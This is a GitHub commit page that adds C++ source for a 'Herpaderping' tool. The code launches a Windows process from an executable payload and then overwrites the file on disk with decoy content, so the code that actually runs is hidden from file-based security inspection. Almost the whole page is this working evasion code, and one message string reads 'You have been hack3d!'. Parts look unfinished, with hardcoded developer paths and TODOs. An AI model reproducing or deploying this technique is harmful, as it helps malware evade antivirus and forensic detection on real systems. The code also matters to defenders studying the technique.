Skip to content

Commit 44d710c

Browse files
spiderpig1297spiderpig1297
committed
Updated .gitignore file
1 parent 930fa3c commit 44d710c

11 files changed

+746
-0
lines changed

‎.gitignore

+16
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,19 @@
1+
x64\
2+
Debug\
3+
Release\
4+
*.vcxproj*
5+
*.vs\
6+
*.suo
7+
*.db*
8+
*.tlog
9+
*.pdb
10+
*.idb
11+
*.log
12+
*.exe*
13+
*.ipch
14+
*.ilk
15+
*.opendb
16+
117
# Prerequisites
218
*.d
319

‎Herpaderping/Herpaderping.sln

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 16
4+
VisualStudioVersion = 16.0.30907.101
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Herpaderping", "Herpaderping\Herpaderping.vcxproj", "{9AD27B16-5786-4165-A461-F91532CECF48}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{9AD27B16-5786-4165-A461-F91532CECF48}.Debug|x64.ActiveCfg = Debug|x64
17+
{9AD27B16-5786-4165-A461-F91532CECF48}.Debug|x64.Build.0 = Debug|x64
18+
{9AD27B16-5786-4165-A461-F91532CECF48}.Debug|x86.ActiveCfg = Debug|Win32
19+
{9AD27B16-5786-4165-A461-F91532CECF48}.Debug|x86.Build.0 = Debug|Win32
20+
{9AD27B16-5786-4165-A461-F91532CECF48}.Release|x64.ActiveCfg = Release|x64
21+
{9AD27B16-5786-4165-A461-F91532CECF48}.Release|x64.Build.0 = Release|x64
22+
{9AD27B16-5786-4165-A461-F91532CECF48}.Release|x86.ActiveCfg = Release|Win32
23+
{9AD27B16-5786-4165-A461-F91532CECF48}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {BA71316F-67FC-4B3A-990B-630B9EC97D74}
30+
EndGlobalSection
31+
EndGlobal

‎Herpaderping/Herpaderping/Herpaderping.cpp

+239
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,239 @@
1+
#include "Herpaderping.h"
2+
#include <iostream>
3+
4+
constexpr auto PROCESS_CREATE_FLAGS_INHERIT_HANDLES = 0x00000004;
5+
constexpr auto TARGET_PROCESS_TITLE = L"You have been hack3d!";
6+
constexpr auto DEFAULT_WINDOWS_STATION = L"WinSta0\\Default";
7+
8+
Herpaderping::Herpaderping(std::string path_to_source, std::string path_to_target, std::string path_to_cover) :
9+
section_handle(),
10+
target_process(),
11+
target_file(),
12+
source_file_payload(),
13+
ntdll_functions(std::make_unique<NtdllFunctions>()),
14+
path_to_source(path_to_source),
15+
path_to_target(path_to_target),
16+
path_to_cover(path_to_cover)
17+
{ }
18+
19+
void Herpaderping::run_process_with_cover()
20+
{
21+
read_source_payload();
22+
23+
create_target_file_and_write_payload();
24+
25+
create_target_process();
26+
27+
cover_target_file();
28+
29+
create_and_run_target_main_thread();
30+
}
31+
32+
void Herpaderping::read_source_payload()
33+
{
34+
HANDLE source_file = CreateFileA(this->path_to_source.c_str(),
35+
GENERIC_READ,
36+
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
37+
nullptr,
38+
OPEN_EXISTING,
39+
FILE_ATTRIBUTE_NORMAL,
40+
nullptr);
41+
if (INVALID_HANDLE_VALUE == source_file) {
42+
throw std::runtime_error("CreateFileA: failed to open source file. Error: " + error_to_str(GetLastError()));
43+
}
44+
45+
DWORD source_file_size = GetFileSize(source_file, nullptr);
46+
if (INVALID_FILE_SIZE == source_file_size) {
47+
throw std::runtime_error("GetFileSize: failed to retreive source file size. Error: " + error_to_str(GetLastError()));
48+
}
49+
50+
// TODO: check working!
51+
this->source_file_payload = std::make_unique<std::vector<char>>(source_file_size);
52+
if (!ReadFile(source_file, source_file_payload.get()->data(), source_file_size, nullptr, nullptr)) {
53+
throw std::runtime_error("ReadFile: failed to read source file. Error: " + error_to_str(GetLastError()));
54+
}
55+
}
56+
57+
void Herpaderping::create_target_file_and_write_payload()
58+
{
59+
this->target_file = CreateFileA(this->path_to_target.c_str(),
60+
GENERIC_READ | GENERIC_WRITE,
61+
0,
62+
nullptr,
63+
CREATE_ALWAYS,
64+
FILE_ATTRIBUTE_NORMAL,
65+
nullptr);
66+
if (INVALID_HANDLE_VALUE == this->target_file) {
67+
throw std::runtime_error("CreateFileA: failed to create target file. Error: " + error_to_str(GetLastError()));
68+
}
69+
70+
DWORD a = 0;
71+
if (!WriteFile(this->target_file,
72+
source_file_payload.get()->data(),
73+
source_file_payload.get()->size(),
74+
&a,
75+
nullptr)) {
76+
throw std::runtime_error("WriteFile: failed to write source file to target file. Error: " + error_to_str(GetLastError()));
77+
}
78+
}
79+
80+
void Herpaderping::create_target_process()
81+
{
82+
NTSTATUS create_section_return_value = (*ntdll_functions).NtCreateSection(&section_handle,
83+
SECTION_ALL_ACCESS,
84+
nullptr,
85+
nullptr,
86+
PAGE_READONLY,
87+
SEC_IMAGE,
88+
target_file);
89+
if (create_section_return_value) {
90+
throw std::runtime_error("NtCreateSection: failed to create section. Error: " + error_to_str(create_section_return_value));
91+
}
92+
93+
ntdll_functions->NtCreateProcessEx(&target_process,
94+
PROCESS_ALL_ACCESS,
95+
nullptr,
96+
GetCurrentProcess(),
97+
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
98+
section_handle,
99+
nullptr,
100+
nullptr,
101+
FALSE);
102+
}
103+
104+
void Herpaderping::cover_target_file()
105+
{
106+
HANDLE cover_file_handle = CreateFileA(this->path_to_cover.c_str(),
107+
GENERIC_READ,
108+
0,
109+
nullptr,
110+
OPEN_EXISTING,
111+
FILE_ATTRIBUTE_NORMAL,
112+
nullptr);
113+
if (INVALID_HANDLE_VALUE == cover_file_handle) {
114+
throw std::runtime_error("CreateFileA: failed to open cover file. Error: " + error_to_str(GetLastError()));
115+
}
116+
117+
auto cover_file_size = GetFileSize(cover_file_handle, nullptr);
118+
if (INVALID_FILE_SIZE == cover_file_size) {
119+
throw std::runtime_error("GetFileSize: failed to get cover file size. Error: " + error_to_str(GetLastError()));
120+
}
121+
122+
auto cover_file_content = std::make_unique<std::vector<char>>(cover_file_size);
123+
if (!ReadFile(cover_file_handle, cover_file_content.get()->data(), cover_file_size, nullptr, nullptr)) {
124+
throw std::runtime_error("ReadFile: failed to read cover file. Error: " + error_to_str(GetLastError()));
125+
}
126+
127+
if (INVALID_SET_FILE_POINTER == SetFilePointer(this->target_file, 0, nullptr, FILE_BEGIN)) {
128+
throw std::runtime_error("SetFilePointer: failed to set target file pointer. Error: " + error_to_str(GetLastError()));
129+
}
130+
131+
if (!WriteFile(this->target_file, cover_file_content.get()->data(), cover_file_size, nullptr, nullptr)) {
132+
throw std::runtime_error("WriteFile: failed to overwrite target file. Error: " + error_to_str(GetLastError()));
133+
}
134+
}
135+
136+
void Herpaderping::create_and_run_target_main_thread()
137+
{
138+
PRTL_USER_PROCESS_PARAMETERS process_parameters = nullptr;
139+
UNICODE_STRING image_path_name;
140+
UNICODE_STRING command_line;
141+
UNICODE_STRING title;
142+
UNICODE_STRING desktop_info;
143+
PROCESS_BASIC_INFORMATION current_process_pbi;
144+
PEB64 current_process_peb;
145+
146+
// TODO: check return value
147+
ntdll_functions->NtQueryInformationProcess(GetCurrentProcess(),
148+
ProcessBasicInformation,
149+
&current_process_pbi,
150+
sizeof(current_process_pbi),
151+
nullptr);
152+
153+
current_process_peb = *reinterpret_cast<PEB64*>(current_process_pbi.PebBaseAddress);
154+
155+
ntdll_functions->RtlInitUnicodeString(&image_path_name, L"C:\\Users\\idano\\Workspace\\Projects\\Herpaderping\\x64\\Debug\\target2.exe");
156+
ntdll_functions->RtlInitUnicodeString(&command_line, L"\"C:\\Users\\idano\\Workspace\\Projects\\Herpaderping\\x64\\Debug\\target2.exe\"");
157+
ntdll_functions->RtlInitUnicodeString(&title, L"Test");
158+
ntdll_functions->RtlInitUnicodeString(&desktop_info, L"WinSta0\\Default");
159+
160+
ntdll_functions->RtlCreateProcessParametersEx(&process_parameters,
161+
&image_path_name,
162+
nullptr,
163+
nullptr,
164+
&command_line,
165+
reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS>(current_process_peb.ProcessParameters)->Environment,
166+
&title,
167+
&desktop_info,
168+
nullptr,
169+
nullptr,
170+
0);
171+
172+
PROCESS_BASIC_INFORMATION pbi;
173+
ntdll_functions->NtQueryInformationProcess(this->target_process,
174+
ProcessBasicInformation,
175+
&pbi,
176+
sizeof(pbi),
177+
nullptr);
178+
179+
// Allocate space for the parameters in our created process.
180+
auto process_allocated_space = VirtualAllocEx(this->target_process,
181+
nullptr,
182+
process_parameters->MaximumLength + process_parameters->EnvironmentSize,
183+
MEM_COMMIT | MEM_RESERVE,
184+
PAGE_READWRITE);
185+
if (NULL == process_allocated_space) {
186+
throw std::runtime_error("VirtualAllocEx: failed to allocate memory in target process. Error: " + error_to_str(GetLastError()));
187+
}
188+
189+
process_parameters->Environment = reinterpret_cast<PBYTE>(process_allocated_space) + process_parameters->Length;
190+
191+
// Write process parameters to the process.
192+
if (!WriteProcessMemory(this->target_process,
193+
process_allocated_space,
194+
process_parameters,
195+
process_parameters->MaximumLength + process_parameters->EnvironmentSize,
196+
nullptr)) {
197+
throw std::runtime_error("WriteProcessMemory: failed to write parameters to target process. Error: " + error_to_str(GetLastError()));
198+
}
199+
200+
// Update the ProcessParameters in the process PEB to point to our parameters.
201+
if (!WriteProcessMemory(this->target_process,
202+
reinterpret_cast<unsigned char*>(pbi.PebBaseAddress) + offsetof(PEB64, ProcessParameters),
203+
&process_allocated_space,
204+
sizeof(process_allocated_space),
205+
nullptr)) {
206+
throw std::runtime_error("WriteProcessMemory: failed to update target process's PEB. Error: " + error_to_str(GetLastError()));
207+
}
208+
209+
const PIMAGE_DOS_HEADER payload_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(this->source_file_payload.get()->data());
210+
const PIMAGE_NT_HEADERS64 payload_nt_header = reinterpret_cast<PIMAGE_NT_HEADERS64>(this->source_file_payload.get()->data() + payload_dos_header->e_lfanew);
211+
212+
// Read createed process memory to find base address.
213+
PEB64 process_peb;
214+
if (!ReadProcessMemory(this->target_process,
215+
pbi.PebBaseAddress,
216+
&process_peb,
217+
sizeof(process_peb),
218+
nullptr)) {
219+
throw std::runtime_error("ReadProcessMemory: failed to read process memory. Error: " + error_to_str(GetLastError()));
220+
}
221+
222+
ULONGLONG entry_point = process_peb.ImageBaseAddress + payload_nt_header->OptionalHeader.AddressOfEntryPoint;
223+
224+
HANDLE thread_handle;
225+
ntdll_functions->NtCreateThreadEx(&thread_handle,
226+
THREAD_ALL_ACCESS,
227+
nullptr,
228+
this->target_process,
229+
reinterpret_cast<PVOID>(entry_point),
230+
nullptr,
231+
0,
232+
0,
233+
0,
234+
0,
235+
nullptr);
236+
if (NULL == thread_handle) {
237+
throw std::runtime_error("NtCreateThreadEx: failed to create target process' main thread. Error: " + error_to_str(GetLastError()));
238+
}
239+
}

‎Herpaderping/Herpaderping/Herpaderping.h

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#pragma once
2+
3+
#include <vector>
4+
#include "NtdllFunctions.h"
5+
6+
class Herpaderping
7+
{
8+
public:
9+
Herpaderping(std::string path_to_source, std::string path_to_target, std::string path_to_cover);
10+
11+
void run_process_with_cover();
12+
13+
protected:
14+
void read_source_payload();
15+
void create_target_file_and_write_payload();
16+
void create_target_process();
17+
void cover_target_file();
18+
void create_and_run_target_main_thread();
19+
20+
HANDLE section_handle;
21+
HANDLE target_process;
22+
HANDLE target_file;
23+
std::unique_ptr<std::vector<char>> source_file_payload;
24+
25+
std::unique_ptr<NtdllFunctions> ntdll_functions;
26+
std::string path_to_source;
27+
std::string path_to_target;
28+
std::string path_to_cover;
29+
};

‎Herpaderping/Herpaderping/NtdllFunctions.cpp

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#include <string>
2+
#include <stdexcept>
3+
#include "NtdllFunctions.h"
4+
5+
constexpr LPCSTR NTDLL_LIBRARY_NAME = "ntdll.dll";
6+
7+
FARPROC NtdllFunctions::_get_function_address(LPCSTR function_name) const
8+
{
9+
FARPROC func_address = GetProcAddress(this->library_handle, function_name);
10+
if (!func_address) {
11+
throw std::runtime_error("GetProcAddress: failed to load address for function "
12+
+ std::string(function_name) +
13+
". Error: " + error_to_str(GetLastError()));
14+
}
15+
16+
return GetProcAddress(this->library_handle, function_name);
17+
}
18+
19+
NtdllFunctions::NtdllFunctions()
20+
{
21+
this->library_handle = LoadLibraryA(NTDLL_LIBRARY_NAME);
22+
if (NULL == this->library_handle) {
23+
throw std::runtime_error("LoadLibraryA: failed to load ntdll.dll. Error: " + error_to_str(GetLastError()));
24+
}
25+
26+
this->NtCreateProcessEx = (NtCreateProcessExDef)_get_function_address("NtCreateProcessEx");
27+
this->NtCreateThreadEx = (NtCreateThreadExDef)_get_function_address("NtCreateThreadEx");
28+
this->NtCreateSection = (NtCreateSectionDef)_get_function_address("NtCreateSection");
29+
this->NtQueryInformationProcess = (NtQueryInformationProcessDef)_get_function_address("NtQueryInformationProcess");
30+
this->RtlInitUnicodeString = (RtlInitUnicodeStringDef)_get_function_address("RtlInitUnicodeString");
31+
this->RtlCreateProcessParametersEx = (RtlCreateProcessParametersExDef)_get_function_address("RtlCreateProcessParametersEx");
32+
}
33+
34+
NtdllFunctions::~NtdllFunctions()
35+
{
36+
FreeLibrary(this->library_handle);
37+
}

0 commit comments

Comments
 (0)